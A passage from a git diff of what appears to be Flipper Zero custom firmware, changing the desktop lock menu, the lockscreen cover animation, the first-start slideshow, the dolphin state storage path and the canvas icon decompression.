lock_menu->callback(DesktopLockMenuEventPinLock, lock_menu->context); - } else if((idx == DesktopLockMenuIndexPinLockShutdown) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventPinLockShutdown, lock_menu->context); - } else if((idx == DesktopLockMenuIndexXtremeSettings) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventXtremeSettings, lock_menu->context); + DesktopEvent desktop_event = 0; + if(show_lock_menu) { + if(event->key == InputKeyOk && event->type == InputTypeShort) { + if(pin_lock) { + desktop_event = DesktopLockMenuEventLockPin; + } else { + desktop_event = DesktopLockMenuEventLock; + } } - consumed = true; + } else { + if(event->key == InputKeyBack) { + consumed = false; + } else if(event->key == InputKeyOk && event->type == InputTypeShort) { + switch(idx) { + case DesktopLockMenuIndexLefthandedMode: + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } + break; + case DesktopLockMenuIndexSettings: + desktop_event = DesktopLockMenuEventSettings; + break; + case DesktopLockMenuIndexDarkMode: + XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + lock_menu->save_xtreme = true; + break; + case DesktopLockMenuIndexBluetooth: + lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; + if(lock_menu->bt->bt_settings.enabled) { + furi_hal_bt_start_advertising(); + } else { + furi_hal_bt_stop_advertising(); + } + lock_menu->save_bt = true; + break; + case DesktopLockMenuIndexXtreme: + desktop_event = DesktopLockMenuEventXtreme; + break; + default: + break; + } + } else if(idx >= 6 && (event->type == InputTypeShort || event->type == InputTypeRepeat)) { + int8_t offset = 0; + if(event->key == InputKeyUp) { + offset = 1; + } else if(event->key == InputKeyDown) { + offset = -1; + } + if(offset) { + float value; + switch(idx) { + case DesktopLockMenuIndexBrightness: + value = lock_menu->notification->settings.display_brightness + 0.05 * offset; + lock_menu->notification->settings.display_brightness = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_display_backlight_on); + break; + case DesktopLockMenuIndexVolume: + value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; + lock_menu->notification->settings.speaker_volume = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_note_c); + break; + default: + break; + } + } + } + } + if(desktop_event) { + lock_menu->callback(desktop_event, lock_menu->context); } return consumed; @@ -134,8 +317,15 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { DesktopLockMenuView* desktop_lock_menu_alloc() { DesktopLockMenuView* lock_menu = malloc(sizeof(DesktopLockMenuView)); + lock_menu->bt = furi_record_open(RECORD_BT); + lock_menu->notification = furi_record_open(RECORD_NOTIFICATION); lock_menu->view = view_alloc(); view_allocate_model(lock_menu->view, ViewModelTypeLocking, sizeof(DesktopLockMenuViewModel)); + with_view_model( + lock_menu->view, + DesktopLockMenuViewModel * model, + { model->lock_menu = lock_menu; }, + false); view_set_context(lock_menu->view, lock_menu); view_set_draw_callback(lock_menu->view, (ViewDrawCallback)desktop_lock_menu_draw_callback); view_set_input_callback(lock_menu->view, desktop_lock_menu_input_callback); @@ -147,5 +337,7 @@ void desktop_lock_menu_free(DesktopLockMenuView* lock_menu_view) { furi_assert(lock_menu_view); view_free(lock_menu_view->view); + furi_record_close(RECORD_NOTIFICATION); + furi_record_close(RECORD_BT); free(lock_menu_view); } diff --git a/applications/services/desktop/views/desktop_view_lock_menu.h b/applications/services/desktop/views/desktop_view_lock_menu.h index da144d1f3..ece48840f 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.h +++ b/applications/services/desktop/views/desktop_view_lock_menu.h @@ -2,6 +2,8 @@ #include #include "desktop_events.h" +#include +#include #define HINT_TIMEOUT 2 @@ -12,12 +14,20 @@ typedef void (*DesktopLockMenuViewCallback)(DesktopEvent event, void* context); struct DesktopLockMenuView { View* view; DesktopLockMenuViewCallback callback; + NotificationApp* notification; + Bt* bt; + bool save_notification; + bool save_xtreme; + bool save_bt; void* context; }; typedef struct { uint8_t idx; bool pin_is_set; + bool pin_lock; + bool show_lock_menu; + DesktopLockMenuView* lock_menu; } DesktopLockMenuViewModel; void desktop_lock_menu_set_callback( diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 0bf757036..9a24414f7 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -6,20 +6,19 @@ #include #include #include +#include +#include #include #include "../desktop_i.h" #include "desktop_view_locked.h" -#define DOOR_MOVING_INTERVAL_MS (1000 / 16) -#define LOCKED_HINT_TIMEOUT_MS (1000) +#define COVER_MOVING_INTERVAL_MS (50) +#define LOCKED_HINT_TIMEOUT_MS (3000) #define UNLOCKED_HINT_TIMEOUT_MS (2000) -#define DOOR_OFFSET_START -55 -#define DOOR_OFFSET_END 0 - -#define DOOR_L_FINAL_POS 0 -#define DOOR_R_FINAL_POS 60 +#define COVER_OFFSET_START -64 +#define COVER_OFFSET_END 0 #define UNLOCK_CNT 3 #define UNLOCK_RST_TIMEOUT 600 @@ -37,14 +36,15 @@ struct DesktopViewLocked { typedef enum { DesktopViewLockedStateUnlocked, DesktopViewLockedStateLocked, - DesktopViewLockedStateDoorsClosing, + DesktopViewLockedStateCoverClosing, + DesktopViewLockedStateCoverOpening, DesktopViewLockedStateLockedHintShown, DesktopViewLockedStateUnlockedHintShown } DesktopViewLockedState; typedef struct { bool pin_locked; - int8_t door_offset; + int8_t cover_offset; DesktopViewLockedState view_state; } DesktopViewLockedModel; @@ -63,20 +63,79 @@ static void locked_view_timer_callback(TimerHandle_t timer) { locked_view->callback(DesktopLockedEventUpdate, locked_view->context); } -static void desktop_view_locked_doors_draw(Canvas* canvas, DesktopViewLockedModel* model) { - int8_t offset = model->door_offset; - uint8_t door_left_x = DOOR_L_FINAL_POS + offset; - uint8_t door_right_x = DOOR_R_FINAL_POS - offset; - uint8_t height = icon_get_height(&I_DoorLeft_70x55); - canvas_draw_icon(canvas, door_left_x, canvas_height(canvas) - height, &I_DoorLeft_70x55); - canvas_draw_icon(canvas, door_right_x, canvas_height(canvas) - height, &I_DoorRight_70x55); +void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { + DesktopViewLockedModel* model = m; + int y = model->cover_offset; + char time_str[9]; + char date_str[14]; + char meridian_str[3]; + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + LocaleTimeFormat time_format = locale_get_time_format(); + LocaleDateFormat date_format = locale_get_date_format(); + + if(time_format == LocaleTimeFormat24h) { + snprintf(time_str, 9, "%.2d:%.2d", datetime.hour, datetime.minute); + } else { + bool pm = datetime.hour > 12; + bool pm12 = datetime.hour >= 12; + snprintf( + time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); + snprintf(meridian_str, 3, pm12 ? "PM" : "AM"); + } + + if(date_format == LocaleDateFormatYMD) { + snprintf(date_str, 14, "%.4d-%.2d-%.2d", datetime.year, datetime.month, datetime.day); + } else if(date_format == LocaleDateFormatMDY) { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.month, datetime.day, datetime.year); + } else { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); + } + + XtremeSettings* xtreme_settings = XTREME_SETTINGS(); + canvas_draw_icon(canvas, 0, 0 + y, XTREME_ASSETS()->I_Lockscreen); + if(xtreme_settings->lockscreen_time) { + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str(canvas, 0, 64 + y, time_str); + if(time_format == LocaleTimeFormat12h) { + int meridian_offset = canvas_string_width(canvas, time_str) + 2; + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0 + meridian_offset, 64 + y, meridian_str); + } + } + if(xtreme_settings->lockscreen_date) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 48 + y + 16 * !xtreme_settings->lockscreen_time, date_str); + } + if(model->view_state == DesktopViewLockedStateLockedHintShown && + xtreme_settings->lockscreen_prompt) { + canvas_set_font(canvas, FontSecondary); + if(model->pin_locked) { + elements_bubble_str( + canvas, 12, 14 + y, " Press \nto unlock!", AlignRight, AlignBottom); + canvas_draw_icon(canvas, 45, 16 + y, &I_Pin_arrow_up_7x9); + } else { + elements_bubble_str( + canvas, 2, 14 + y, "Press 3x \n to unlock!", AlignRight, AlignBottom); + canvas_draw_icon(canvas, 43, 17 + y, &I_Pin_back_arrow_10x8); + } + } } -static bool desktop_view_locked_doors_move(DesktopViewLockedModel* model) { +static bool desktop_view_locked_cover_move(DesktopViewLockedModel* model, bool down) { bool stop = false; - if(model->door_offset < DOOR_OFFSET_END) { - model->door_offset = CLAMP(model->door_offset + 5, DOOR_OFFSET_END, DOOR_OFFSET_START); - stop = true; + if(down) { + if(model->cover_offset < COVER_OFFSET_END) { + model->cover_offset = + CLAMP(model->cover_offset + 8, COVER_OFFSET_END, COVER_OFFSET_START); + stop = true; + } + } else { + if(model->cover_offset > COVER_OFFSET_START) { + model->cover_offset = + CLAMP(model->cover_offset - 8, COVER_OFFSET_END, COVER_OFFSET_START); + stop = true; + } } return stop; @@ -84,8 +143,7 @@ static bool desktop_view_locked_doors_move(DesktopViewLockedModel* model) { static void desktop_view_locked_update_hint_icon_timeout(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); - const bool change_state = (model->view_state == DesktopViewLockedStateLocked) && - !model->pin_locked; + const bool change_state = (model->view_state == DesktopViewLockedStateLocked); if(change_state) { model->view_state = DesktopViewLockedStateLockedHintShown; } @@ -97,9 +155,15 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); DesktopViewLockedState view_state = model->view_state; - if(view_state == DesktopViewLockedStateDoorsClosing && - !desktop_view_locked_doors_move(model)) { + if(view_state == DesktopViewLockedStateCoverClosing && + !desktop_view_locked_cover_move(model, true)) { model->view_state = DesktopViewLockedStateLocked; + } else if( + view_state == DesktopViewLockedStateCoverOpening && + !desktop_view_locked_cover_move(model, false)) { + model->view_state = DesktopViewLockedStateUnlocked; + xTimerChangePeriod( + locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); } else if(view_state == DesktopViewLockedStateLockedHintShown) { model->view_state = DesktopViewLockedStateLocked; } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { @@ -108,7 +172,8 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { view_commit_model(locked_view->view, true); - if(view_state != DesktopViewLockedStateDoorsClosing) { + if(view_state != DesktopViewLockedStateCoverClosing && + view_state != DesktopViewLockedStateCoverOpening) { xTimerStop(locked_view->timer, portMAX_DELAY); } } @@ -118,22 +183,11 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { DesktopViewLockedState view_state = m->view_state; canvas_set_color(canvas, ColorBlack); - if(view_state == DesktopViewLockedStateDoorsClosing) { - desktop_view_locked_doors_draw(canvas, m); - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Locked"); - } else if(view_state == DesktopViewLockedStateLockedHintShown) { - canvas_set_font(canvas, FontSecondary); - elements_bold_rounded_frame(canvas, 14, 2 + STATUS_BAR_Y_SHIFT, 99, 48); - elements_multiline_text(canvas, 65, 20 + STATUS_BAR_Y_SHIFT, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 95, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 16, 7 + STATUS_BAR_Y_SHIFT, &I_WarningDolphin_45x42); - canvas_draw_dot(canvas, 17, 61); - } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Unlocked"); + if(view_state == DesktopViewLockedStateLocked || + view_state == DesktopViewLockedStateLockedHintShown || + view_state == DesktopViewLockedStateCoverClosing || + view_state == DesktopViewLockedStateCoverOpening) { + desktop_view_locked_draw_lockscreen(canvas, m); } } @@ -161,8 +215,6 @@ static bool desktop_view_locked_input(InputEvent* event, void* context) { if(view_state == DesktopViewLockedStateUnlocked) { return false; - } else if(view_state == DesktopViewLockedStateLocked && pin_locked) { - locked_view->callback(DesktopLockedEventShowPinInput, locked_view->context); } else if( view_state == DesktopViewLockedStateLocked || view_state == DesktopViewLockedStateLockedHintShown) { @@ -173,16 +225,24 @@ static bool desktop_view_locked_input(InputEvent* event, void* context) { desktop_view_locked_update_hint_icon_timeout(locked_view); - if(event->key == InputKeyBack) { - if(event->type == InputTypeShort) { - locked_view->lock_lastpress = press_time; - locked_view->lock_count++; - if(locked_view->lock_count == UNLOCK_CNT) { - locked_view->callback(DesktopLockedEventUnlocked, locked_view->context); - } + if(pin_locked) { + if(event->key == InputKeyUp) { + locked_view->callback(DesktopLockedEventShowPinInput, locked_view->context); + } else { + locked_view->lock_count = 0; } } else { - locked_view->lock_count = 0; + if(event->key == InputKeyBack) { + if(event->type == InputTypeShort) { + locked_view->lock_lastpress = press_time; + locked_view->lock_count++; + if(locked_view->lock_count == UNLOCK_CNT) { + locked_view->callback(DesktopLockedEventUnlocked, locked_view->context); + } + } + } else { + locked_view->lock_count = 0; + } } locked_view->lock_lastpress = press_time; @@ -212,13 +272,13 @@ void desktop_view_locked_free(DesktopViewLocked* locked_view) { free(locked_view); } -void desktop_view_locked_close_doors(DesktopViewLocked* locked_view) { +void desktop_view_locked_close_cover(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); furi_assert(model->view_state == DesktopViewLockedStateLocked); - model->view_state = DesktopViewLockedStateDoorsClosing; - model->door_offset = DOOR_OFFSET_START; + model->view_state = DesktopViewLockedStateCoverClosing; + model->cover_offset = COVER_OFFSET_START; view_commit_model(locked_view->view, true); - xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(DOOR_MOVING_INTERVAL_MS), portMAX_DELAY); + xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { @@ -232,10 +292,11 @@ void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { void desktop_view_locked_unlock(DesktopViewLocked* locked_view) { locked_view->lock_count = 0; DesktopViewLockedModel* model = view_get_model(locked_view->view); - model->view_state = DesktopViewLockedStateUnlockedHintShown; + model->view_state = DesktopViewLockedStateCoverOpening; + model->cover_offset = COVER_OFFSET_END; model->pin_locked = false; view_commit_model(locked_view->view, true); - xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); + xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view) { diff --git a/applications/services/desktop/views/desktop_view_locked.h b/applications/services/desktop/views/desktop_view_locked.h index ea065e398..4c12c0274 100644 --- a/applications/services/desktop/views/desktop_view_locked.h +++ b/applications/services/desktop/views/desktop_view_locked.h @@ -18,5 +18,5 @@ DesktopViewLocked* desktop_view_locked_alloc(); void desktop_view_locked_free(DesktopViewLocked* locked_view); void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked); void desktop_view_locked_unlock(DesktopViewLocked* locked_view); -void desktop_view_locked_close_doors(DesktopViewLocked* locked_view); +void desktop_view_locked_close_cover(DesktopViewLocked* locked_view); bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view); diff --git a/applications/services/desktop/views/desktop_view_slideshow.c b/applications/services/desktop/views/desktop_view_slideshow.c index e528d6878..89dfad570 100644 --- a/applications/services/desktop/views/desktop_view_slideshow.c +++ b/applications/services/desktop/views/desktop_view_slideshow.c @@ -5,7 +5,6 @@ #include "desktop_view_slideshow.h" #include "../desktop_i.h" #include "../helpers/slideshow.h" -#include "../helpers/slideshow_filename.h" #define DESKTOP_SLIDESHOW_POWEROFF_SHORT 5000 #define DESKTOP_SLIDESHOW_POWEROFF_LONG (60 * 60 * 1000) @@ -15,6 +14,7 @@ struct DesktopSlideshowView { DesktopSlideshowViewCallback callback; void* context; FuriTimer* timer; + FuriTimer* auto_timer; }; typedef struct { @@ -37,33 +37,68 @@ static bool desktop_view_slideshow_input(InputEvent* event, void* context) { DesktopSlideshowViewModel* model = view_get_model(instance->view); bool update_view = false; - if(event->type == InputTypeShort) { - bool end_slideshow = false; - switch(event->key) { - case InputKeyLeft: - slideshow_goback(model->slideshow); - break; - case InputKeyRight: - case InputKeyOk: - end_slideshow = !slideshow_advance(model->slideshow); - break; - case InputKeyBack: - end_slideshow = true; - default: - break; + if(model->slideshow->icon.frame_count == 7) { + if(event->type == InputTypeShort) { + update_view = true; + switch(model->slideshow->current_frame) { + case 0: + if(event->key == InputKeyRight) slideshow_advance(model->slideshow); + break; + case 1: + if(event->key == InputKeyUp) { + slideshow_advance(model->slideshow); + furi_timer_start(instance->auto_timer, 2 * furi_kernel_get_tick_frequency()); + } + break; + case 5: + furi_timer_stop(instance->auto_timer); + if(event->key == InputKeyRight) { + slideshow_advance(model->slideshow); + } else if(event->key == InputKeyLeft) { + model->slideshow->current_frame = 2; + furi_timer_start(instance->auto_timer, 2 * furi_kernel_get_tick_frequency()); + } + break; + case 6: + if(event->key == InputKeyOk) { + instance->callback(DesktopSlideshowCompleted, instance->context); + } else if(event->key == InputKeyLeft) { + model->slideshow->current_frame = 0; + } + break; + default: + break; + } } - if(end_slideshow) { - instance->callback(DesktopSlideshowCompleted, instance->context); - } - update_view = true; - } else if(event->key == InputKeyOk && instance->timer) { - if(event->type == InputTypePress) { - furi_timer_start(instance->timer, DESKTOP_SLIDESHOW_POWEROFF_SHORT); - } else if(event->type == InputTypeRelease) { - furi_timer_stop(instance->timer); - /*if(!slideshow_is_one_page(model->slideshow)) { - furi_timer_start(instance->timer, DESKTOP_SLIDESHOW_POWEROFF_LONG); - }*/ + } else { + if(event->type == InputTypeShort) { + bool end_slideshow = false; + switch(event->key) { + case InputKeyLeft: + slideshow_goback(model->slideshow); + break; + case InputKeyRight: + case InputKeyOk: + end_slideshow = !slideshow_advance(model->slideshow); + break; + case InputKeyBack: + end_slideshow = true; + default: + break; + } + if(end_slideshow) { + instance->callback(DesktopSlideshowCompleted, instance->context); + } + update_view = true; + } else if(event->key == InputKeyOk && instance->timer) { + if(event->type == InputTypePress) { + furi_timer_start(instance->timer, DESKTOP_SLIDESHOW_POWEROFF_SHORT); + } else if(event->type == InputTypeRelease) { + furi_timer_stop(instance->timer); + /*if(!slideshow_is_one_page(model->slideshow)) { + furi_timer_start(instance->timer, DESKTOP_SLIDESHOW_POWEROFF_LONG); + }*/ + } } } view_commit_model(instance->view, update_view); @@ -76,6 +111,17 @@ static void desktop_first_start_timer_callback(void* context) { instance->callback(DesktopSlideshowPoweroff, instance->context); } +static void desktop_first_start_auto_timer_callback(void* context) { + DesktopSlideshowView* instance = context; + DesktopSlideshowViewModel* model = view_get_model(instance->view); + if(model->slideshow->current_frame < 5 && model->slideshow->current_frame > 1) { + slideshow_advance(model->slideshow); + } else { + furi_timer_stop(instance->auto_timer); + } + view_commit_model(instance->view, true); +} + static void desktop_view_slideshow_enter(void* context) { DesktopSlideshowView* instance = context; @@ -83,6 +129,9 @@ static void desktop_view_slideshow_enter(void* context) { instance->timer = furi_timer_alloc(desktop_first_start_timer_callback, FuriTimerTypeOnce, instance); + instance->auto_timer = + furi_timer_alloc(desktop_first_start_auto_timer_callback, FuriTimerTypePeriodic, instance); + DesktopSlideshowViewModel* model = view_get_model(instance->view); model->slideshow = slideshow_alloc(); if(!slideshow_load(model->slideshow, SLIDESHOW_FS_PATH)) { @@ -100,6 +149,10 @@ static void desktop_view_slideshow_exit(void* context) { furi_timer_free(instance->timer); instance->timer = NULL; + furi_timer_stop(instance->auto_timer); + furi_timer_free(instance->auto_timer); + instance->auto_timer = NULL; + DesktopSlideshowViewModel* model = view_get_model(instance->view); slideshow_free(model->slideshow); view_commit_model(instance->view, false); @@ -138,4 +191,4 @@ void desktop_view_slideshow_set_callback( furi_assert(callback); instance->callback = callback; instance->context = context; -} \ No newline at end of file +} diff --git a/applications/services/desktop/views/desktop_view_slideshow.h b/applications/services/desktop/views/desktop_view_slideshow.h index 624cbf007..4718d3e32 100644 --- a/applications/services/desktop/views/desktop_view_slideshow.h +++ b/applications/services/desktop/views/desktop_view_slideshow.h @@ -3,9 +3,8 @@ #include #include "desktop_events.h" -#include "../helpers/slideshow_filename.h" -#define SLIDESHOW_FS_PATH INT_PATH(SLIDESHOW_FILE_NAME) +#define SLIDESHOW_FS_PATH EXT_PATH(".slideshow") typedef struct DesktopSlideshowView DesktopSlideshowView; diff --git a/applications/services/dolphin/helpers/dolphin_deed.c b/applications/services/dolphin/helpers/dolphin_deed.c index 2cbaf84a6..676e61774 100644 --- a/applications/services/dolphin/helpers/dolphin_deed.c +++ b/applications/services/dolphin/helpers/dolphin_deed.c @@ -43,13 +43,13 @@ static const DolphinDeedWeight dolphin_deed_weights[] = { }; static uint8_t dolphin_deed_limits[] = { - 20, // DolphinAppSubGhz - 20, // DolphinAppRfid - 20, // DolphinAppNfc - 20, // DolphinAppIr - 20, // DolphinAppIbutton - 20, // DolphinAppBadKb - 20, // DolphinAppPlugin + 69, // DolphinAppSubGhz + 69, // DolphinAppRfid + 69, // DolphinAppNfc + 69, // DolphinAppIr + 69, // DolphinAppIbutton + 69, // DolphinAppBadKb + 69, // DolphinAppPlugin }; _Static_assert(COUNT_OF(dolphin_deed_weights) == DolphinDeedMAX, "dolphin_deed_weights size error"); diff --git a/applications/services/dolphin/helpers/dolphin_state.c b/applications/services/dolphin/helpers/dolphin_state.c index 31f9d4030..190efa5ec 100644 --- a/applications/services/dolphin/helpers/dolphin_state.c +++ b/applications/services/dolphin/helpers/dolphin_state.c @@ -1,6 +1,5 @@ #include "dolphin_state.h" #include "dolphin/helpers/dolphin_deed.h" -#include "dolphin_state_filename.h" #include #include @@ -11,7 +10,8 @@ #define TAG "DolphinState" -#define DOLPHIN_STATE_PATH INT_PATH(DOLPHIN_STATE_FILE_NAME) +#define DOLPHIN_STATE_OLD_PATH INT_PATH(".dolphin.state") +#define DOLPHIN_STATE_PATH CFG_PATH("dolphin.state") #define DOLPHIN_STATE_HEADER_MAGIC 0xD0 #define DOLPHIN_STATE_HEADER_VERSION 0x01 @@ -61,6 +61,19 @@ bool dolphin_state_load(DolphinState* dolphin_state) { DOLPHIN_STATE_HEADER_MAGIC, DOLPHIN_STATE_HEADER_VERSION); + if(!success) { + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, DOLPHIN_STATE_OLD_PATH, DOLPHIN_STATE_PATH); + storage_common_remove(storage, DOLPHIN_STATE_OLD_PATH); + furi_record_close(RECORD_STORAGE); + success = saved_struct_load( + DOLPHIN_STATE_PATH, + &dolphin_state->data, + sizeof(DolphinStoreData), + DOLPHIN_STATE_HEADER_MAGIC, + DOLPHIN_STATE_HEADER_VERSION); + } + if(success) { if((dolphin_state->data.butthurt > BUTTHURT_MAX) || (dolphin_state->data.butthurt < BUTTHURT_MIN)) { diff --git a/applications/services/dolphin/helpers/dolphin_state_filename.h b/applications/services/dolphin/helpers/dolphin_state_filename.h deleted file mode 100644 index 86822c0ac..000000000 --- a/applications/services/dolphin/helpers/dolphin_state_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define DOLPHIN_STATE_FILE_NAME ".dolphin.state" diff --git a/applications/services/gui/canvas.c b/applications/services/gui/canvas.c index eadbd4834..daefeb73d 100644 --- a/applications/services/gui/canvas.c +++ b/applications/services/gui/canvas.c @@ -4,6 +4,7 @@ #include #include +#include #include #include #include @@ -18,6 +19,7 @@ const CanvasFontParameters canvas_font_params[FontTotalNumber] = { Canvas* canvas_init() { Canvas* canvas = malloc(sizeof(Canvas)); + canvas->compress_icon = compress_icon_alloc(); // Setup u8g2 u8g2_Setup_st756x_flipper(&canvas->fb, U8G2_R0, u8x8_hw_spi_stm32, u8g2_gpio_and_delay_stm32); @@ -27,8 +29,6 @@ Canvas* canvas_init() { // Wake up display u8g2_SetPowerSave(&canvas->fb, 0); - canvas_set_orientation(canvas, CanvasOrientationHorizontal); - // Clear buffer and send to device canvas_clear(canvas); canvas_commit(canvas); @@ -38,6 +38,7 @@ Canvas* canvas_init() { void canvas_free(Canvas* canvas) { furi_assert(canvas); + compress_icon_free(canvas->compress_icon); free(canvas); } @@ -234,7 +235,7 @@ void canvas_draw_bitmap( x += canvas->offset_x; y += canvas->offset_y; uint8_t* bitmap_data = NULL; - furi_hal_compress_icon_decode(compressed_bitmap_data, &bitmap_data); + compress_icon_decode(canvas->compress_icon, compressed_bitmap_data, &bitmap_data); u8g2_DrawXBM(&canvas->fb, x, y, width, height, bitmap_data); } @@ -249,7 +250,8 @@ void canvas_draw_icon_animation( x += canvas->offset_x; y += canvas->offset_y; uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_animation_get_data(icon_animation), &icon_data); + compress_icon_decode( + canvas->compress_icon, icon_animation_get_data(icon_animation), &icon_data); u8g2_DrawXBM( &canvas->fb, x, @@ -266,7 +268,7 @@ void canvas_draw_icon(Canvas* canvas, uint8_t x, uint8_t y, const Icon* icon) { x += canvas->offset_x; y += canvas->offset_y; uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); + compress_icon_decode(canvas->compress_icon, icon_get_data(icon), &icon_data); u8g2_DrawXBM(&canvas->fb, x, y, icon_get_width(icon), icon_get_height(icon), icon_data); } @@ -400,7 +402,7 @@ void canvas_draw_icon_bitmap( x += canvas->offset_x; y += canvas->offset_y; uint8_t* icon_data = NULL; - furi_hal_compress_icon_decode(icon_get_data(icon), &icon_data); + compress_icon_decode(canvas->compress_icon, icon_get_data(icon), &icon_data); u8g2_DrawXBM(&canvas->fb, x, y, w, h, icon_data); } @@ -410,46 +412,36 @@ void canvas_set_bitmap_mode(Canvas* canvas, bool alpha) { void canvas_set_orientation(Canvas* canvas, CanvasOrientation orientation) { furi_assert(canvas); - if(XTREME_SETTINGS()->left_handed) { - if(orientation == CanvasOrientationHorizontal) { - orientation = CanvasOrientationHorizontalFlip; - } else if(orientation == CanvasOrientationHorizontalFlip) { - orientation = CanvasOrientationHorizontal; - } - } + const u8g2_cb_t* rotate_cb = NULL; + bool need_swap = false; if(canvas->orientation != orientation) { switch(orientation) { case CanvasOrientationHorizontal: - if(canvas->orientation == CanvasOrientationVertical || - canvas->orientation == CanvasOrientationVerticalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R0); + need_swap = canvas->orientation == CanvasOrientationVertical || + canvas->orientation == CanvasOrientationVerticalFlip; + rotate_cb = U8G2_R0; break; case CanvasOrientationHorizontalFlip: - if(canvas->orientation == CanvasOrientationVertical || - canvas->orientation == CanvasOrientationVerticalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R2); + need_swap = canvas->orientation == CanvasOrientationVertical || + canvas->orientation == CanvasOrientationVerticalFlip; + rotate_cb = U8G2_R2; break; case CanvasOrientationVertical: - if(canvas->orientation == CanvasOrientationHorizontal || - canvas->orientation == CanvasOrientationHorizontalFlip) { - FURI_SWAP(canvas->width, canvas->height); - }; - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R3); + need_swap = canvas->orientation == CanvasOrientationHorizontal || + canvas->orientation == CanvasOrientationHorizontalFlip; + rotate_cb = U8G2_R3; break; case CanvasOrientationVerticalFlip: - if(canvas->orientation == CanvasOrientationHorizontal || - canvas->orientation == CanvasOrientationHorizontalFlip) { - FURI_SWAP(canvas->width, canvas->height); - } - u8g2_SetDisplayRotation(&canvas->fb, U8G2_R1); + need_swap = canvas->orientation == CanvasOrientationHorizontal || + canvas->orientation == CanvasOrientationHorizontalFlip; + rotate_cb = U8G2_R1; break; default: furi_assert(0); } + + if(need_swap) FURI_SWAP(canvas->width, canvas->height); + u8g2_SetDisplayRotation(&canvas->fb, rotate_cb); canvas->orientation = orientation; } } diff --git a/applications/services/gui/canvas_i.h b/applications/services/gui/canvas_i.h index 745599c95..aadb5200f 100644 --- a/applications/services/gui/canvas_i.h +++ b/applications/services/gui/canvas_i.h @@ -7,6 +7,7 @@ #include "canvas.h" #include +#include #ifdef __cplusplus extern "C" { @@ -21,6 +22,7 @@ struct Canvas { uint8_t offset_y; uint8_t width; uint8_t height; + CompressIcon* compress_icon; }; /** Allocate memory and initialize canvas diff --git a/applications/services/gui/elements.c b/applications/services/gui/elements.c index 90682d68e..ffe52d354 100644 --- a/applications/services/gui/elements.c +++ b/applications/services/gui/elements.c @@ -580,11 +580,17 @@ void elements_scrollable_text_line( uint8_t width, FuriString* string, size_t scroll, - bool ellipsis) { + bool ellipsis, + bool centered) { FuriString* line = furi_string_alloc_set(string); size_t len_px = canvas_string_width(canvas, furi_string_get_cstr(line)); if(len_px > width) { + if(centered) { + centered = false; + 